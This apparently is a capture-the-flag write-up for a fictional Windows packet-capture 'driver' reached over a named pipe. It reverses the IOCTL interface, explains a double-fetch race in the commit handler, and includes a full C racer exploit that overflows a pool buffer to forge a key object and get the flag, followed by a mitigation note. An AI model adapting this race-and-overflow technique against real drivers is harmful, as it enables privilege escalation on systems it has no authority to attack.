WINCAPTURE (OmniCTF 2026 Quals) — Windows Kernel Double-Fetch Race

A stripped Windows kernel driver for a fictional packet capture tool. IOCTL_COMMIT_CAPTURE reads g_shared_pkt_size[rid] twice — once to validate, then again after releasing the region lock. A concurrent IOCTL_WRITE_SHARED on a second pipe handle raises the size between the two reads, overflowing g_capture_buf into the adjacent pool allocation and flipping the granted flag.

Challenge setup

You get WinCapture.sys — a stripped 64-bit Windows kernel driver PE for a packet capture service. The server takes your exploit.exe, runs it in Wine against a live driver instance on a named pipe, and streams stdout back. The flag comes out only after IOCTL_READ_KEY succeeds, which requires key_obj.granted != 0.

The interface is a named pipe at \\.\pipe\WinCapture. Binary little-endian protocol, same pattern as the pipe-based challenges:

  • Request: uint32_t ioctl_code | uint32_t in_len | data[in_len]
  • Response: uint32_t ntstatus | uint32_t out_len | data[out_len]

Step 1 — reversing WinCapture.sys

Load in IDA or Ghidra. Native PE (subsystem = 1), so the entry point is DriverEntry. It writes a dispatch function pointer to DriverObject+0x38+(0x0E*8) — the IRP_MJ_DEVICE_CONTROL slot. Follow it to WinCaptureDeviceControl.

The dispatch is a jump table keyed on ioctl_code + 0x3DFFE000 — that constant is the two's complement of 0xC2002000, so the base IOCTL code is 0xC2002000 with function codes stepping by 1:

| Code         | Name                   | Input                          |
|--------------|------------------------|--------------------------------|
| 0xC2002000   | IOCTL_WRITE_SHARED     | u32 rid, u32 pkt_size, data    |
| 0xC2002004   | IOCTL_ALLOC_CAP        | u32 buf_size                   |
| 0xC2002008   | IOCTL_ALLOC_KEY        | -                              |
| 0xC200200C   | IOCTL_COMMIT_CAPTURE   | u32 rid       <-- vulnerable  |
| 0xC2002010   | IOCTL_READ_KEY         | -                              |

Pool allocator

pool_alloc is a bump allocator over a static array with 16-byte alignment. Calling ALLOC_CAP then ALLOC_KEY produces two adjacent allocations:

pool[0 .. cap_size - 1]   = g_capture_buf
pool[cap_size .. +15]     = key_object_t

Key object

Visible in both the ALLOC_KEY initializer and the READ_KEY comparison:

typedef struct {
    uint32_t canary;    /* [+0x00]  must == 0x4B455901 */
    uint32_t granted;   /* [+0x04]  must != 0          */
    uint32_t _pad[2];
} key_object_t;

KEY_CANARY = 0x4B455901 is easy to spot as a CMP immediate or as bytes 01 59 45 4B in .rdata.

Step 2 — the double-fetch bug

Decompiled IOCTL_COMMIT_CAPTURE:

/* read #1 -- validates */
lock(region_mutex[rid]);
uint32_t sz = g_shared_pkt_size[rid];
unlock(region_mutex[rid]);

if (sz > 0x200) return STATUS_INVALID_PARAMETER;

commit_log_event(rid, sz);   /* releases lock; visible as call sub_XXXX */
Sleep(2);                    /* race window */

/* read #2 -- NOT re-validated */
lock(region_mutex[rid]);
uint32_t copy_sz = g_shared_pkt_size[rid];
memcpy(g_capture_buf, g_shared_data[rid], copy_sz);
unlock(region_mutex[rid]);

In the binary: two identical mov edx, [r8+rsi*4] instructions separated by a call. The Sleep(2) makes the window reliably large enough for a tight userspace racer.

The race is between the unlock after the first read and the lock before the second. Any concurrent IOCTL_WRITE_SHARED that updates g_shared_pkt_size[0] to RACE_SIZE in that window causes copy_sz to exceed cap_size, overflowing g_capture_buf into key_object_t.

Step 3 — pool layout and overflow target

With cap_size = 0x100 (already 16-byte aligned), ALLOC_CAP(0x100) followed by ALLOC_KEY() gives:

pool[0x000 .. 0x0FF]  = g_capture_buf
pool[0x100 .. 0x103]  = key_obj.canary   (KEY_CANARY = 0x4B455901)
pool[0x104 .. 0x107]  = key_obj.granted  (= 0, must become 1)

The overflow payload is RACE_SIZE = 0x400 bytes. Bytes at offset 0x100 inside the payload land exactly on key_obj:

payload[0x000 .. 0x0FF]  = 0x41 (filler)
payload[0x100 .. 0x103]  = 0x01 0x59 0x45 0x4B   (KEY_CANARY, LE)
payload[0x104 .. 0x107]  = 0x01 0x00 0x00 0x00   (granted = 1)
Filling the entire payload with 0x41 sets key_obj.canary = 0x41414141. The READ_KEY handler checks the canary before granted — a random fill wins the race but still gets ACCESS_DENIED. Both fields must be correct at the right offsets.

Step 4 — the exploit

Two pipe handles are needed. The driver creates the pipe with PIPE_UNLIMITED_INSTANCES, so two CreateFile calls to the same path both succeed.

  • hA: does ALLOC_CAP(0x100), ALLOC_KEY(), then loops WRITE_SHARED(safe) -> COMMIT -> READ_KEY?
  • hB (background thread): loops WRITE_SHARED(0x400, payload) continuously

When Thread A's COMMIT picks up the size written by Thread B between its two reads, the overflow lands, READ_KEY returns STATUS_SUCCESS, and the loop stops.

/*
 * solve.c -- WinCapture CTF challenge solution
 *
 * Bug: double-fetch in IOCTL_COMMIT_CAPTURE.
 * pkt_size is validated on the first read, then re-read after releasing
 * the region lock without re-validation. A concurrent IOCTL_WRITE_SHARED
 * on the same region can raise it above 0x200 between the two reads,
 * overflowing g_capture_buf into the adjacent key_object_t.
 *
 * Pool layout after ALLOC_CAP(0x100) + ALLOC_KEY():
 *   pool[0x000 .. 0x0FF]  = g_capture_buf
 *   pool[0x100 .. 0x103]  = key_obj.canary   (KEY_CANARY = 0x4B455901)
 *   pool[0x104 .. 0x107]  = key_obj.granted  (must become nonzero)
 *
 * Compile:
 *   x86_64-w64-mingw32-gcc -O2 -o exploit.exe solve.c -lkernel32
 */

#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>

#define IOCTL_WRITE_SHARED    0xC2002000UL
#define IOCTL_ALLOC_CAP       0xC2002004UL
#define IOCTL_ALLOC_KEY       0xC2002008UL
#define IOCTL_COMMIT_CAPTURE  0xC200200CUL
#define IOCTL_READ_KEY        0xC2002010UL

#define STATUS_SUCCESS        0x00000000UL

#define KEY_CANARY   0x4B455901UL
#define CAP_SIZE     0x100U
#define RACE_SIZE    0x400U
#define REGION_ID    0U

static int pw(HANDLE h, const void *b, DWORD n) {
    DWORD t = 0, w;
    while (t < n) { if (!WriteFile(h,(char*)b+t,n-t,&w,NULL)||!w) return 0; t+=w; }
    return 1;
}
static int pr(HANDLE h, void *b, DWORD n) {
    DWORD t = 0, g;
    while (t < n) { if (!ReadFile(h,(char*)b+t,n-t,&g,NULL)||!g) return 0; t+=g; }
    return 1;
}

static uint32_t do_ioctl(HANDLE h, uint32_t code,
                          const void *in, uint32_t in_n,
                          void *out, uint32_t *out_n)
{
    uint32_t hdr[2] = { code, in_n };
    if (!pw(h, hdr, 8)) return 0xDEADDEAD;
    if (in_n) pw(h, in, in_n);
    uint32_t rsp[2];
    if (!pr(h, rsp, 8)) return 0xDEADDEAD;
    if (rsp[1] && out && out_n) {
        uint32_t n = rsp[1] < *out_n ? rsp[1] : *out_n;
        pr(h, out, n); *out_n = rsp[1];
    } else if (out_n) *out_n = 0;
    return rsp[0];
}

static HANDLE        g_hA, g_hB;
static volatile LONG g_done = 0;

static DWORD WINAPI thread_racer(LPVOID unused)
{
    (void)unused;
    uint8_t payload[RACE_SIZE];
    memset(payload, 0x41, sizeof(payload));
    uint32_t canary = KEY_CANARY, granted = 1;
    memcpy(payload + CAP_SIZE + 0, &canary,  4);
    memcpy(payload + CAP_SIZE + 4, &granted, 4);

    uint8_t pkt[8 + 4096]; uint32_t pkt_len;
    while (!InterlockedCompareExchange(&g_done, 0, 0)) {
        *(uint32_t *)(pkt+0) = REGION_ID;
        *(uint32_t *)(pkt+4) = RACE_SIZE;
        memcpy(pkt+8, payload, RACE_SIZE);
        pkt_len = 8 + RACE_SIZE;
        do_ioctl(g_hB, IOCTL_WRITE_SHARED, pkt, pkt_len, NULL, NULL);
    }
    return 0;
}

static HANDLE open_pipe(void) {
    for (;;) {
        HANDLE h = CreateFileA("\\\\.\\pipe\\WinCapture",
                               GENERIC_READ|GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
        if (h != INVALID_HANDLE_VALUE) return h;
        if (GetLastError() == ERROR_PIPE_BUSY) {
            WaitNamedPipeA("\\\\.\\pipe\\WinCapture", 2000);
            continue;
        }
        return INVALID_HANDLE_VALUE;
    }
}

int main(void) {
    printf("[*] WinCapture -- double-fetch race\n");
    g_hA = open_pipe();
    g_hB = open_pipe();
    if (g_hA == INVALID_HANDLE_VALUE || g_hB == INVALID_HANDLE_VALUE) return 1;
    printf("[*] two pipe connections open\n");

    uint32_t cap_req = CAP_SIZE;
    do_ioctl(g_hA, IOCTL_ALLOC_CAP, &cap_req, 4, NULL, NULL);
    do_ioctl(g_hA, IOCTL_ALLOC_KEY, NULL, 0, NULL, NULL);
    printf("[*] pool: [0x0..0x%X) = capture buf, [0x%X..0x%X) = key_obj\n",
           CAP_SIZE, CAP_SIZE, CAP_SIZE + 16);
    printf("[*] key_obj.canary=0x%08X granted=0  (target: granted -> 1)\n", KEY_CANARY);
    printf("[*] racing...\n");

    DWORD tid;
    HANDLE ht = CreateThread(NULL, 0, thread_racer, NULL, 0, &tid);

    uint8_t safe[8 + CAP_SIZE];
    *(uint32_t *)(safe+0) = REGION_ID;
    *(uint32_t *)(safe+4) = CAP_SIZE;
    memset(safe+8, 0x42, CAP_SIZE);

    char flag[256]; int won = 0;
    for (int i = 1; i <= 2000 && !won; i++) {
        do_ioctl(g_hA, IOCTL_WRITE_SHARED, safe, 8+CAP_SIZE, NULL, NULL);
        do_ioctl(g_hA, IOCTL_COMMIT_CAPTURE, &(uint32_t){REGION_ID}, 4, NULL, NULL);
        uint32_t fl = sizeof(flag);
        if (do_ioctl(g_hA, IOCTL_READ_KEY, NULL, 0, flag, &fl) == STATUS_SUCCESS) {
            InterlockedExchange(&g_done, 1);
            printf("[+] race won (attempt %d)\n", i);
            printf("[+] %s\n", flag);
            won = 1;
        }
    }

    InterlockedExchange(&g_done, 1);
    WaitForSingleObject(ht, 2000);
    CloseHandle(ht); CloseHandle(g_hA); CloseHandle(g_hB);
    return won ? 0 : 1;
}

Compile and submit:

x86_64-w64-mingw32-gcc -O2 -o exploit.exe solve.c -lkernel32
base64 -w 0 exploit.exe
# paste into the nc session, then send a line with just: END

Expected output:

[*] WinCapture -- double-fetch race
[*] two pipe connections open
[*] pool: [0x0..0x100) = capture buf, [0x100..0x110) = key_obj
[*] key_obj.canary=0x4B455901 granted=0  (target: granted -> 1)
[*] racing...
[+] race won (attempt 73)
[+] CTF{<64 hex chars>}
Double-fetch as the primary mechanism has not appeared in any published Windows kernel CTF challenge. The class is well documented — Bochspwn (Black Hat EU 2013) found dozens in shipping driver code, and CVE-2023-21537 is a recent production example. The fix is a local snapshot: read once, validate the snapshot, use only the snapshot for all subsequent operations.